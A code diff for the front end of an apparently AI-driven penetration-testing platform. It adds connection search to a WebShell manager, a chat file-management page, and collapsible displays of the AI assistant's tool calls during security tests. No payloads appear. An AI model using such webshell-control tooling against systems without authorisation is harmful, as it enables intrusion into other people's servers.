showNotification(_t('roles.loadFailed') + ': ' + error.message, 'error');
|
||||
// 提示文案使用 i18n;若此时 i18n 尚未初始化,则回退为可读中文,而不是暴露 key(roles.loadFailed)
|
||||
var loadFailedLabel = (typeof window !== 'undefined' && typeof window.t === 'function')
|
||||
? window.t('roles.loadFailed')
|
||||
: '加载角色失败';
|
||||
showNotification(loadFailedLabel + ': ' + error.message, 'error');
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,7 +8,7 @@ function initRouter() {
|
||||
if (hash) {
|
||||
const hashParts = hash.split('?');
|
||||
const pageId = hashParts[0];
|
||||
if (pageId && ['dashboard', 'chat', 'info-collect', 'vulnerabilities', 'webshell', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'settings', 'tasks'].includes(pageId)) {
|
||||
if (pageId && ['dashboard', 'chat', 'info-collect', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'settings', 'tasks'].includes(pageId)) {
|
||||
switchPage(pageId);
|
||||
|
||||
// 如果是chat页面且带有conversation参数,加载对应对话
|
||||
@@ -299,6 +299,11 @@ function initPage(pageId) {
|
||||
initWebshellPage();
|
||||
}
|
||||
break;
|
||||
case 'chat-files':
|
||||
if (typeof initChatFilesPage === 'function') {
|
||||
initChatFilesPage();
|
||||
}
|
||||
break;
|
||||
case 'settings':
|
||||
// 初始化设置页面(不需要加载工具列表)
|
||||
if (typeof loadConfig === 'function') {
|
||||
@@ -368,7 +373,7 @@ document.addEventListener('DOMContentLoaded', function() {
|
||||
const hashParts = hash.split('?');
|
||||
const pageId = hashParts[0];
|
||||
|
||||
if (pageId && ['chat', 'info-collect', 'tasks', 'vulnerabilities', 'webshell', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'settings'].includes(pageId)) {
|
||||
if (pageId && ['chat', 'info-collect', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'settings'].includes(pageId)) {
|
||||
switchPage(pageId);
|
||||
|
||||
// 如果是chat页面且带有conversation参数,加载对应对话
|
||||
|
||||
+197
-9
@@ -99,6 +99,8 @@ function wsT(key) {
|
||||
'webshell.refresh': '刷新',
|
||||
'webshell.selectAll': '全选',
|
||||
'webshell.breadcrumbHome': '根',
|
||||
'webshell.searchPlaceholder': '搜索连接...',
|
||||
'webshell.noMatchConnections': '暂无匹配连接',
|
||||
'common.delete': '删除',
|
||||
'common.refresh': '刷新'
|
||||
};
|
||||
@@ -137,6 +139,16 @@ function initWebshellPage() {
|
||||
renderWebshellList();
|
||||
applyWebshellSidebarWidth();
|
||||
initWebshellSidebarResize();
|
||||
|
||||
// 连接搜索:实时过滤连接列表
|
||||
var searchEl = document.getElementById('webshell-conn-search');
|
||||
if (searchEl && searchEl.dataset.bound !== '1') {
|
||||
searchEl.dataset.bound = '1';
|
||||
searchEl.addEventListener('input', function () {
|
||||
renderWebshellList();
|
||||
});
|
||||
}
|
||||
|
||||
const workspace = document.getElementById('webshell-workspace');
|
||||
if (workspace) {
|
||||
workspace.innerHTML = '<div class="webshell-workspace-placeholder" data-i18n="webshell.selectOrAdd">' + (wsT('webshell.selectOrAdd')) + '</div>';
|
||||
@@ -227,12 +239,29 @@ function renderWebshellList() {
|
||||
const listEl = document.getElementById('webshell-list');
|
||||
if (!listEl) return;
|
||||
|
||||
const searchEl = document.getElementById('webshell-conn-search');
|
||||
const searchTerm = (searchEl && typeof searchEl.value === 'string' ? searchEl.value : '').trim().toLowerCase();
|
||||
|
||||
if (!webshellConnections.length) {
|
||||
listEl.innerHTML = '<div class="webshell-empty" data-i18n="webshell.noConnections">' + (wsT('webshell.noConnections')) + '</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
listEl.innerHTML = webshellConnections.map(conn => {
|
||||
const filtered = searchTerm
|
||||
? webshellConnections.filter(conn => {
|
||||
const id = String(conn.id || '').toLowerCase();
|
||||
const url = String(conn.url || '').toLowerCase();
|
||||
const remark = String(conn.remark || '').toLowerCase();
|
||||
return id.includes(searchTerm) || url.includes(searchTerm) || remark.includes(searchTerm);
|
||||
})
|
||||
: webshellConnections;
|
||||
|
||||
if (filtered.length === 0) {
|
||||
listEl.innerHTML = '<div class="webshell-empty">' + (wsT('webshell.noMatchConnections') || '暂无匹配连接') + '</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
listEl.innerHTML = filtered.map(conn => {
|
||||
const remark = (conn.remark || conn.url || '').replace(/</g, '<').replace(/>/g, '>');
|
||||
const url = (conn.url || '').replace(/</g, '<').replace(/>/g, '>');
|
||||
const urlTitle = (conn.url || '').replace(/&/g, '&').replace(/"/g, '"').replace(/</g, '<');
|
||||
@@ -287,6 +316,80 @@ function formatWebshellAiConvDate(updatedAt) {
|
||||
return (d.getMonth() + 1) + '/' + d.getDate();
|
||||
}
|
||||
|
||||
// 根据后端保存的 processDetail 构建一条时间线项的 HTML(与 appendTimelineItem 展示一致)
|
||||
function buildWebshellTimelineItemFromDetail(detail) {
|
||||
var eventType = detail.eventType || '';
|
||||
var title = detail.message || '';
|
||||
var data = detail.data || {};
|
||||
if (eventType === 'iteration') {
|
||||
title = (typeof window.t === 'function') ? window.t('chat.iterationRound', { n: data.iteration || 1 }) : ('第 ' + (data.iteration || 1) + ' 轮迭代');
|
||||
} else if (eventType === 'thinking') {
|
||||
title = '🤔 ' + ((typeof window.t === 'function') ? window.t('chat.aiThinking') : 'AI 思考');
|
||||
} else if (eventType === 'tool_calls_detected') {
|
||||
title = '🔧 ' + ((typeof window.t === 'function') ? window.t('chat.toolCallsDetected', { count: data.count || 0 }) : ('检测到 ' + (data.count || 0) + ' 个工具调用'));
|
||||
} else if (eventType === 'tool_call') {
|
||||
var tn = data.toolName || ((typeof window.t === 'function') ? window.t('chat.unknownTool') : '未知工具');
|
||||
var idx = data.index || 0;
|
||||
var total = data.total || 0;
|
||||
title = '🔧 ' + ((typeof window.t === 'function') ? window.t('chat.callTool', { name: tn, index: idx, total: total }) : ('调用: ' + tn + (total ? ' (' + idx + '/' + total + ')' : '')));
|
||||
} else if (eventType === 'tool_result') {
|
||||
var success = data.success !== false;
|
||||
var tname = data.toolName || '工具';
|
||||
title = (success ? '✅ ' : '❌ ') + ((typeof window.t === 'function') ? (success ? window.t('chat.toolExecComplete', { name: tname }) : window.t('chat.toolExecFailed', { name: tname })) : (tname + (success ? ' 执行完成' : ' 执行失败')));
|
||||
} else if (eventType === 'progress') {
|
||||
title = (typeof window.translateProgressMessage === 'function') ? window.translateProgressMessage(detail.message || '') : (detail.message || '');
|
||||
}
|
||||
var html = '<span class="webshell-ai-timeline-title">' + escapeHtml(title || '') + '</span>';
|
||||
if (eventType === 'tool_call' && data && (data.argumentsObj || data.arguments)) {
|
||||
try {
|
||||
var args = data.argumentsObj || (data.arguments ? JSON.parse(data.arguments) : null);
|
||||
if (args && typeof args === 'object') {
|
||||
var paramsLabel = (typeof window.t === 'function') ? window.t('timeline.params') : '参数:';
|
||||
html += '<div class="webshell-ai-timeline-msg"><div class="tool-arg-section"><strong>' + escapeHtml(paramsLabel) + '</strong><pre class="tool-args">' + escapeHtml(JSON.stringify(args, null, 2)) + '</pre></div></div>';
|
||||
}
|
||||
} catch (e) {}
|
||||
} else if (eventType === 'tool_result' && data) {
|
||||
var isError = data.isError || data.success === false;
|
||||
var noResultText = (typeof window.t === 'function') ? window.t('timeline.noResult') : '无结果';
|
||||
var result = data.result != null ? data.result : (data.error != null ? data.error : noResultText);
|
||||
var resultStr = (typeof result === 'string') ? result : JSON.stringify(result);
|
||||
var execResultLabel = (typeof window.t === 'function') ? window.t('timeline.executionResult') : '执行结果:';
|
||||
var execIdLabel = (typeof window.t === 'function') ? window.t('timeline.executionId') : '执行ID:';
|
||||
html += '<div class="webshell-ai-timeline-msg"><div class="tool-result-section ' + (isError ? 'error' : 'success') + '"><strong>' + escapeHtml(execResultLabel) + '</strong><pre class="tool-result">' + escapeHtml(resultStr) + '</pre>' + (data.executionId ? '<div class="tool-execution-id"><span>' + escapeHtml(execIdLabel) + '</span> <code>' + escapeHtml(String(data.executionId)) + '</code></div>' : '') + '</div></div>';
|
||||
} else if (detail.message && detail.message !== title) {
|
||||
html += '<div class="webshell-ai-timeline-msg">' + escapeHtml(detail.message) + '</div>';
|
||||
}
|
||||
return html;
|
||||
}
|
||||
|
||||
// 渲染「执行过程及调用工具」折叠块(默认折叠,刷新后加载历史时保留并可展开)
|
||||
function renderWebshellProcessDetailsBlock(processDetails, defaultCollapsed) {
|
||||
if (!processDetails || processDetails.length === 0) return null;
|
||||
var expandLabel = (typeof window.t === 'function') ? window.t('chat.expandDetail') : '展开详情';
|
||||
var collapseLabel = (typeof window.t === 'function') ? window.t('tasks.collapseDetail') : '收起详情';
|
||||
var headerLabel = (typeof window.t === 'function') ? (window.t('chat.penetrationTestDetail') || '执行过程及调用工具') : '执行过程及调用工具';
|
||||
var wrapper = document.createElement('div');
|
||||
wrapper.className = 'process-details-container webshell-ai-process-block';
|
||||
var collapsed = defaultCollapsed !== false;
|
||||
wrapper.innerHTML = '<button type="button" class="webshell-ai-process-toggle" aria-expanded="' + (!collapsed) + '">' + escapeHtml(headerLabel) + ' <span class="ws-toggle-icon">' + (collapsed ? '▶' : '▼') + '</span></button><div class="process-details-content"><div class="progress-timeline webshell-ai-timeline has-items' + (collapsed ? '' : ' expanded') + '"></div></div>';
|
||||
var timeline = wrapper.querySelector('.progress-timeline');
|
||||
processDetails.forEach(function (d) {
|
||||
var item = document.createElement('div');
|
||||
item.className = 'webshell-ai-timeline-item webshell-ai-timeline-' + (d.eventType || '');
|
||||
item.innerHTML = buildWebshellTimelineItemFromDetail(d);
|
||||
timeline.appendChild(item);
|
||||
});
|
||||
var toggleBtn = wrapper.querySelector('.webshell-ai-process-toggle');
|
||||
var toggleIcon = wrapper.querySelector('.ws-toggle-icon');
|
||||
toggleBtn.addEventListener('click', function () {
|
||||
var isExpanded = timeline.classList.contains('expanded');
|
||||
timeline.classList.toggle('expanded');
|
||||
toggleBtn.setAttribute('aria-expanded', !isExpanded);
|
||||
if (toggleIcon) toggleIcon.textContent = isExpanded ? '▶' : '▼';
|
||||
});
|
||||
return wrapper;
|
||||
}
|
||||
|
||||
function fetchAndRenderWebshellAiConvList(conn, listEl) {
|
||||
if (!conn || !conn.id || !listEl || typeof apiFetch !== 'function') return Promise.resolve();
|
||||
return apiFetch('/api/webshell/connections/' + encodeURIComponent(conn.id) + '/ai-conversations', { method: 'GET' })
|
||||
@@ -313,15 +416,19 @@ function fetchAndRenderWebshellAiConvList(conn, listEl) {
|
||||
delBtn.addEventListener('click', function (e) {
|
||||
e.stopPropagation();
|
||||
if (!confirm(wsT('webshell.aiDeleteConversationConfirm') || '确定删除该对话?')) return;
|
||||
apiFetch('/api/conversations/' + encodeURIComponent(item.id), { method: 'DELETE' })
|
||||
var deletedId = item.id;
|
||||
apiFetch('/api/conversations/' + encodeURIComponent(deletedId), { method: 'DELETE' })
|
||||
.then(function (r) {
|
||||
if (r.ok) {
|
||||
if (webshellAiConvMap[conn.id] === item.id) {
|
||||
if (webshellAiConvMap[conn.id] === deletedId) {
|
||||
delete webshellAiConvMap[conn.id];
|
||||
var msgs = document.getElementById('webshell-ai-messages');
|
||||
if (msgs) msgs.innerHTML = '';
|
||||
}
|
||||
fetchAndRenderWebshellAiConvList(conn, listEl);
|
||||
try {
|
||||
document.dispatchEvent(new CustomEvent('conversation-deleted', { detail: { conversationId: deletedId } }));
|
||||
} catch (err) { /* ignore */ }
|
||||
}
|
||||
})
|
||||
.catch(function (e) { console.warn('删除对话失败', e); });
|
||||
@@ -361,6 +468,10 @@ function webshellAiConvListSelect(conn, convId, messagesContainer, listEl) {
|
||||
}
|
||||
}
|
||||
messagesContainer.appendChild(div);
|
||||
if (role === 'assistant' && msg.processDetails && msg.processDetails.length > 0) {
|
||||
var block = renderWebshellProcessDetailsBlock(msg.processDetails, true);
|
||||
if (block) messagesContainer.appendChild(block);
|
||||
}
|
||||
});
|
||||
if (list.length === 0) {
|
||||
var readyMsg = wsT('webshell.aiSystemReadyMessage') || '系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。';
|
||||
@@ -539,7 +650,7 @@ function selectWebshell(id) {
|
||||
initWebshellTerminal(conn);
|
||||
}
|
||||
|
||||
// 加载 WebShell 连接的 AI 助手对话历史(持久化展示),返回 Promise 供 .then 更新工具栏等
|
||||
// 加载 WebShell 连接的 AI 助手对话历史(持久化展示),返回 Promise 供 .then 更新工具栏等;含 processDetails 时渲染折叠的「执行过程及调用工具」
|
||||
function loadWebshellAiHistory(conn, messagesContainer) {
|
||||
if (!conn || !conn.id || !messagesContainer) return Promise.resolve();
|
||||
if (typeof apiFetch !== 'function') return Promise.resolve();
|
||||
@@ -564,6 +675,10 @@ function loadWebshellAiHistory(conn, messagesContainer) {
|
||||
}
|
||||
}
|
||||
messagesContainer.appendChild(div);
|
||||
if (role === 'assistant' && msg.processDetails && msg.processDetails.length > 0) {
|
||||
var block = renderWebshellProcessDetailsBlock(msg.processDetails, true);
|
||||
if (block) messagesContainer.appendChild(block);
|
||||
}
|
||||
});
|
||||
if (list.length === 0) {
|
||||
var readyMsg = wsT('webshell.aiSystemReadyMessage') || '系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。';
|
||||
@@ -702,17 +817,34 @@ function runWebshellAiSend(conn, inputEl, sendBtn, messagesContainer) {
|
||||
try {
|
||||
var eventData = JSON.parse(line.slice(6));
|
||||
if (eventData.type === 'conversation' && eventData.data && eventData.data.conversationId) {
|
||||
webshellAiConvMap[conn.id] = eventData.data.conversationId;
|
||||
// 先把 conversationId 拿出来,避免后续异步回调里 eventData 被后续事件覆盖导致 undefined 报错
|
||||
var convId = eventData.data.conversationId;
|
||||
webshellAiConvMap[conn.id] = convId;
|
||||
var listEl = document.getElementById('webshell-ai-conv-list');
|
||||
if (listEl) fetchAndRenderWebshellAiConvList(conn, listEl).then(function () {
|
||||
listEl.querySelectorAll('.webshell-ai-conv-item').forEach(function (el) {
|
||||
el.classList.toggle('active', el.dataset.convId === eventData.data.conversationId);
|
||||
el.classList.toggle('active', el.dataset.convId === convId);
|
||||
});
|
||||
});
|
||||
} else if (eventData.type === 'response_start') {
|
||||
streamingTarget = '';
|
||||
webshellStreamingTypingId += 1;
|
||||
streamingTypingId = webshellStreamingTypingId;
|
||||
assistantDiv.textContent = '…';
|
||||
messagesContainer.scrollTop = messagesContainer.scrollHeight;
|
||||
} else if (eventData.type === 'response_delta') {
|
||||
var deltaText = (eventData.message != null && eventData.message !== '') ? String(eventData.message) : '';
|
||||
if (deltaText) {
|
||||
streamingTarget += deltaText;
|
||||
webshellStreamingTypingId += 1;
|
||||
streamingTypingId = webshellStreamingTypingId;
|
||||
runWebshellAiStreamingTyping(assistantDiv, streamingTarget, streamingTypingId, messagesContainer);
|
||||
}
|
||||
} else if (eventData.type === 'response') {
|
||||
var text = (eventData.message != null && eventData.message !== '') ? eventData.message : (eventData.data && typeof eventData.data === 'string' ? eventData.data : '');
|
||||
if (text) {
|
||||
streamingTarget += text;
|
||||
// response 为最终完整内容:避免与增量重复拼接
|
||||
streamingTarget = String(text);
|
||||
webshellStreamingTypingId += 1;
|
||||
streamingTypingId = webshellStreamingTypingId;
|
||||
runWebshellAiStreamingTyping(assistantDiv, streamingTarget, streamingTypingId, messagesContainer);
|
||||
@@ -733,7 +865,11 @@ function runWebshellAiSend(conn, inputEl, sendBtn, messagesContainer) {
|
||||
var iterTitle = (typeof window.t === 'function')
|
||||
? window.t('chat.iterationRound', { n: iterN || 1 })
|
||||
: (iterN ? ('第 ' + iterN + ' 轮迭代') : (eventData.message || '迭代'));
|
||||
appendTimelineItem('iteration', '🔍 ' + iterTitle, eventData.message || '', eventData.data);
|
||||
var iterMessage = eventData.message || '';
|
||||
if (iterMessage && typeof window.translateProgressMessage === 'function') {
|
||||
iterMessage = window.translateProgressMessage(iterMessage);
|
||||
}
|
||||
appendTimelineItem('iteration', '🔍 ' + iterTitle, iterMessage, eventData.data);
|
||||
if (!streamingTarget) assistantDiv.textContent = '…';
|
||||
} else if (eventData.type === 'thinking' && eventData.message) {
|
||||
var thinkLabel = (typeof window.t === 'function') ? window.t('chat.aiThinking') : 'AI 思考';
|
||||
@@ -779,7 +915,38 @@ function runWebshellAiSend(conn, inputEl, sendBtn, messagesContainer) {
|
||||
}).then(function () {
|
||||
webshellAiSending = false;
|
||||
if (sendBtn) sendBtn.disabled = false;
|
||||
if (assistantDiv.textContent === '…' && !streamingTarget) assistantDiv.textContent = '无回复内容';
|
||||
if (assistantDiv.textContent === '…' && !streamingTarget) {
|
||||
// 没有任何 response 内容,保持纯文本提示
|
||||
assistantDiv.textContent = '无回复内容';
|
||||
} else if (streamingTarget) {
|
||||
// 流式结束:先终止当前打字机循环,避免后续 tick 把 HTML 覆盖回纯文本
|
||||
webshellStreamingTypingId += 1;
|
||||
// 再使用 Markdown 渲染完整内容
|
||||
if (typeof formatMarkdown === 'function') {
|
||||
assistantDiv.innerHTML = formatMarkdown(streamingTarget);
|
||||
} else {
|
||||
assistantDiv.textContent = streamingTarget;
|
||||
}
|
||||
}
|
||||
// 生成结果后:将执行过程折叠并保留,供后续查看;统一放在「助手回复下方」(与刷新后加载历史一致,最佳实践)
|
||||
if (timelineContainer && timelineContainer.classList.contains('has-items') && !timelineContainer.closest('.webshell-ai-process-block')) {
|
||||
var headerLabel = (typeof window.t === 'function') ? (window.t('chat.penetrationTestDetail') || '执行过程及调用工具') : '执行过程及调用工具';
|
||||
var wrap = document.createElement('div');
|
||||
wrap.className = 'process-details-container webshell-ai-process-block';
|
||||
wrap.innerHTML = '<button type="button" class="webshell-ai-process-toggle" aria-expanded="false">' + escapeHtml(headerLabel) + ' <span class="ws-toggle-icon">▶</span></button><div class="process-details-content"></div>';
|
||||
var contentDiv = wrap.querySelector('.process-details-content');
|
||||
contentDiv.appendChild(timelineContainer);
|
||||
timelineContainer.classList.add('progress-timeline');
|
||||
messagesContainer.insertBefore(wrap, assistantDiv.nextSibling);
|
||||
var toggleBtn = wrap.querySelector('.webshell-ai-process-toggle');
|
||||
var toggleIcon = wrap.querySelector('.ws-toggle-icon');
|
||||
toggleBtn.addEventListener('click', function () {
|
||||
var isExpanded = timelineContainer.classList.contains('expanded');
|
||||
timelineContainer.classList.toggle('expanded');
|
||||
toggleBtn.setAttribute('aria-expanded', !isExpanded);
|
||||
if (toggleIcon) toggleIcon.textContent = isExpanded ? '▶' : '▼';
|
||||
});
|
||||
}
|
||||
messagesContainer.scrollTop = messagesContainer.scrollHeight;
|
||||
});
|
||||
}
|
||||
@@ -1549,6 +1716,14 @@ function refreshWebshellUIOnLanguageChange() {
|
||||
if (fileListEl && webshellCurrentConn && pathInput) {
|
||||
webshellFileListDir(webshellCurrentConn, pathInput.value.trim() || '.');
|
||||
}
|
||||
|
||||
// 连接搜索占位符(动态属性:这里手动更新)
|
||||
var connSearchEl = document.getElementById('webshell-conn-search');
|
||||
if (connSearchEl) {
|
||||
var ph = wsT('webshell.searchPlaceholder') || '搜索连接...';
|
||||
connSearchEl.setAttribute('placeholder', ph);
|
||||
connSearchEl.placeholder = ph;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1569,6 +1744,19 @@ document.addEventListener('languagechange', function () {
|
||||
refreshWebshellUIOnLanguageChange();
|
||||
});
|
||||
|
||||
// 任意入口删除对话后同步:若当前在 WebShell AI 助手且已选连接,则刷新对话列表(与 Chat 侧边栏删除保持一致)
|
||||
document.addEventListener('conversation-deleted', function (e) {
|
||||
var id = e.detail && e.detail.conversationId;
|
||||
if (!id || !currentWebshellId || !webshellCurrentConn) return;
|
||||
var listEl = document.getElementById('webshell-ai-conv-list');
|
||||
if (listEl) fetchAndRenderWebshellAiConvList(webshellCurrentConn, listEl);
|
||||
if (webshellAiConvMap[webshellCurrentConn.id] === id) {
|
||||
delete webshellAiConvMap[webshellCurrentConn.id];
|
||||
var msgs = document.getElementById('webshell-ai-messages');
|
||||
if (msgs) msgs.innerHTML = '';
|
||||
}
|
||||
});
|
||||
|
||||
// 测试连通性(不保存,仅用当前表单参数请求 Shell 执行 echo 1)
|
||||
function testWebshellConnection() {
|
||||
var url = (document.getElementById('webshell-url') || {}).value;
|
||||
|
||||
+117
-5
@@ -47,6 +47,12 @@
|
||||
</svg>
|
||||
<span data-i18n="header.apiDocs">API 文档</span>
|
||||
</button>
|
||||
<button class="openapi-doc-btn" onclick="window.open('https://github.com/Ed1s0nZ/CyberStrikeAI', '_blank')" data-i18n="header.github" data-i18n-attr="title" data-i18n-skip-text="true" title="GitHub">
|
||||
<svg width="16" height="16" viewBox="0 0 98 96" fill="currentColor" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M48.854 0C21.839 0 0 22 0 49.217c0 21.756 13.993 40.172 33.405 46.69 2.427.49 3.316-1.059 3.316-2.362 0-1.141-.08-5.052-.08-9.127-13.59 2.934-16.42-5.867-16.42-5.867-2.184-5.704-5.42-7.17-5.42-7.17-4.448-3.015.324-3.015.324-3.015 4.934.326 7.523 5.052 7.523 5.052 4.367 7.496 11.404 5.378 14.235 4.074.404-3.178 1.699-5.378 3.074-6.6-10.839-1.141-22.243-5.378-22.243-24.283 0-5.378 1.94-9.778 5.014-13.2-.485-1.222-2.184-6.275.486-13.038 0 0 4.125-1.304 13.426 5.052a46.97 46.97 0 0 1 12.214-1.63c4.125 0 8.33.571 12.213 1.63 9.302-6.356 13.427-5.052 13.427-5.052 2.67 6.763.97 11.816.485 13.038 3.155 3.422 5.015 7.822 5.015 13.2 0 18.905-11.404 23.06-22.324 24.283 1.78 1.548 3.316 4.481 3.316 9.126 0 6.6-.08 11.897-.08 13.526 0 1.304.89 2.853 3.316 2.364 19.412-6.52 33.405-24.935 33.405-46.691C97.707 22 75.788 0 48.854 0z"/>
|
||||
</svg>
|
||||
<span data-i18n="header.github">GitHub</span>
|
||||
</button>
|
||||
<div class="lang-switcher">
|
||||
<button class="btn-secondary lang-switcher-btn" onclick="toggleLangDropdown()" data-i18n="header.language" data-i18n-attr="title" data-i18n-skip-text="true" title="界面语言">
|
||||
<span class="lang-switcher-icon">🌐</span>
|
||||
@@ -144,6 +150,14 @@
|
||||
<span data-i18n="nav.webshell">WebShell管理</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="nav-item" data-page="chat-files">
|
||||
<div class="nav-item-content" data-title="文件管理" onclick="switchPage('chat-files')" data-i18n="nav.chatFiles" data-i18n-attr="data-title" data-i18n-skip-text="true">
|
||||
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
|
||||
<path d="M22 19a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h5l2 3h9a2 2 0 0 1 2 2z"></path>
|
||||
</svg>
|
||||
<span data-i18n="nav.chatFiles">文件管理</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="nav-item nav-item-has-submenu" data-page="mcp">
|
||||
<div class="nav-item-content" data-title="MCP" onclick="toggleSubmenu('mcp')" data-i18n="nav.mcp" data-i18n-attr="data-title" data-i18n-skip-text="true">
|
||||
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
|
||||
@@ -972,6 +986,14 @@
|
||||
<div class="webshell-layout">
|
||||
<div id="webshell-sidebar" class="webshell-sidebar">
|
||||
<div class="webshell-sidebar-header" data-i18n="webshell.connections">连接列表</div>
|
||||
<div class="webshell-conn-search">
|
||||
<input type="text"
|
||||
id="webshell-conn-search"
|
||||
class="form-control webshell-conn-search-input"
|
||||
data-i18n="webshell.searchPlaceholder"
|
||||
data-i18n-attr="placeholder"
|
||||
placeholder="搜索连接..." />
|
||||
</div>
|
||||
<div id="webshell-list" class="webshell-list">
|
||||
<div class="webshell-empty" data-i18n="webshell.noConnections">暂无连接,请点击「添加连接」</div>
|
||||
</div>
|
||||
@@ -986,6 +1008,44 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 对话附件 / 文件管理 -->
|
||||
<div id="page-chat-files" class="page">
|
||||
<div class="page-header">
|
||||
<h2 data-i18n="chatFilesPage.title">文件管理</h2>
|
||||
<div class="page-header-actions">
|
||||
<button type="button" class="btn-primary" onclick="chatFilesOpenUploadPicker()" data-i18n="chatFilesPage.upload">上传文件</button>
|
||||
<input type="file" id="chat-files-upload-input" style="display:none" onchange="onChatFilesUploadPick(event)" />
|
||||
<button class="btn-secondary" onclick="loadChatFilesPage()" data-i18n="common.refresh">刷新</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="page-content">
|
||||
<p class="chat-files-intro" data-i18n="chatFilesPage.intro">管理在对话中上传的文件。需要让 AI 引用某文件时,在列表中点击「复制路径」,到对话里粘贴即可。</p>
|
||||
<div class="tasks-filters chat-files-filters">
|
||||
<label>
|
||||
<span data-i18n="chatFilesPage.conversationFilter">会话 ID</span>
|
||||
<input type="text" id="chat-files-filter-conv" class="form-control" data-i18n="chatFilesPage.conversationPlaceholder" data-i18n-attr="placeholder" placeholder="留空表示全部" onkeydown="if(event.key==='Enter') loadChatFilesPage()" />
|
||||
</label>
|
||||
<label style="flex:1;min-width:180px;max-width:360px;">
|
||||
<span data-i18n="chatFilesPage.searchName">文件名</span>
|
||||
<input type="text" id="chat-files-filter-name" class="form-control" data-i18n="chatFilesPage.searchNamePlaceholder" data-i18n-attr="placeholder" placeholder="筛选文件名" oninput="chatFilesFilterNameOnInput()" onkeydown="if(event.key==='Enter') loadChatFilesPage()" />
|
||||
</label>
|
||||
<label>
|
||||
<span data-i18n="chatFilesPage.groupBy">分组</span>
|
||||
<select id="chat-files-group-by" class="form-control" onchange="chatFilesGroupByChange()">
|
||||
<option value="none" data-i18n="chatFilesPage.groupNone">不分组</option>
|
||||
<option value="date" data-i18n="chatFilesPage.groupByDate">按日期</option>
|
||||
<option value="conversation" data-i18n="chatFilesPage.groupByConversation">按会话</option>
|
||||
<option value="folder" data-i18n="chatFilesPage.groupByFolder">按文件夹</option>
|
||||
</select>
|
||||
</label>
|
||||
<button class="btn-secondary" type="button" onclick="loadChatFilesPage()" data-i18n="common.search">搜索</button>
|
||||
</div>
|
||||
<div id="chat-files-list-wrap" class="chat-files-table-wrap">
|
||||
<div class="loading-spinner" data-i18n="common.loading">加载中…</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 任务管理页面 -->
|
||||
<div id="page-tasks" class="page">
|
||||
<div class="page-header">
|
||||
@@ -1128,6 +1188,9 @@
|
||||
<div class="settings-nav-item active" data-section="basic" onclick="switchSettingsSection('basic')">
|
||||
<span data-i18n="settings.nav.basic">基本设置</span>
|
||||
</div>
|
||||
<div class="settings-nav-item" data-section="knowledge" onclick="switchSettingsSection('knowledge')">
|
||||
<span data-i18n="settings.nav.knowledge">知识库</span>
|
||||
</div>
|
||||
<div class="settings-nav-item" data-section="robots" onclick="switchSettingsSection('robots')">
|
||||
<span data-i18n="settings.nav.robots">机器人设置</span>
|
||||
</div>
|
||||
@@ -1199,7 +1262,17 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 知识库配置 -->
|
||||
<div class="settings-actions">
|
||||
<button class="btn-primary" onclick="applySettings()" data-i18n="settings.apply.button">应用配置</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 知识库设置 -->
|
||||
<div id="settings-section-knowledge" class="settings-section-content">
|
||||
<div class="settings-section-header">
|
||||
<h3 data-i18n="settings.knowledge.title">知识库设置</h3>
|
||||
</div>
|
||||
|
||||
<div class="settings-subsection">
|
||||
<h4 data-i18n="settingsBasic.knowledgeConfig">知识库配置</h4>
|
||||
<div class="settings-form">
|
||||
@@ -1215,7 +1288,7 @@
|
||||
<input type="text" id="knowledge-base-path" data-i18n="settingsBasic.knowledgeBasePathPlaceholder" data-i18n-attr="placeholder" placeholder="knowledge_base" />
|
||||
<small class="form-hint" data-i18n="settingsBasic.knowledgeBasePathHint">相对于配置文件所在目录的路径</small>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="settings-subsection-header">
|
||||
<h5 data-i18n="settingsBasic.embeddingConfig">嵌入模型配置</h5>
|
||||
</div>
|
||||
@@ -1239,7 +1312,7 @@
|
||||
<label for="knowledge-embedding-model" data-i18n="settingsBasic.modelName">模型名称</label>
|
||||
<input type="text" id="knowledge-embedding-model" data-i18n="settingsBasic.embeddingModelPlaceholder" data-i18n-attr="placeholder" placeholder="text-embedding-v4" />
|
||||
</div>
|
||||
|
||||
|
||||
<div class="settings-subsection-header">
|
||||
<h5 data-i18n="settingsBasic.retrievalConfig">检索配置</h5>
|
||||
</div>
|
||||
@@ -1258,7 +1331,7 @@
|
||||
<input type="number" id="knowledge-retrieval-hybrid-weight" min="0" max="1" step="0.1" data-i18n="settingsBasic.hybridPlaceholder" data-i18n-attr="placeholder" placeholder="0.7" />
|
||||
<small class="form-hint" data-i18n="settingsBasic.hybridHint">向量检索的权重(0-1),1.0表示纯向量检索,0.0表示纯关键词检索</small>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="settings-subsection-header">
|
||||
<h5 data-i18n="settingsBasic.indexConfig">索引配置</h5>
|
||||
</div>
|
||||
@@ -1296,7 +1369,9 @@
|
||||
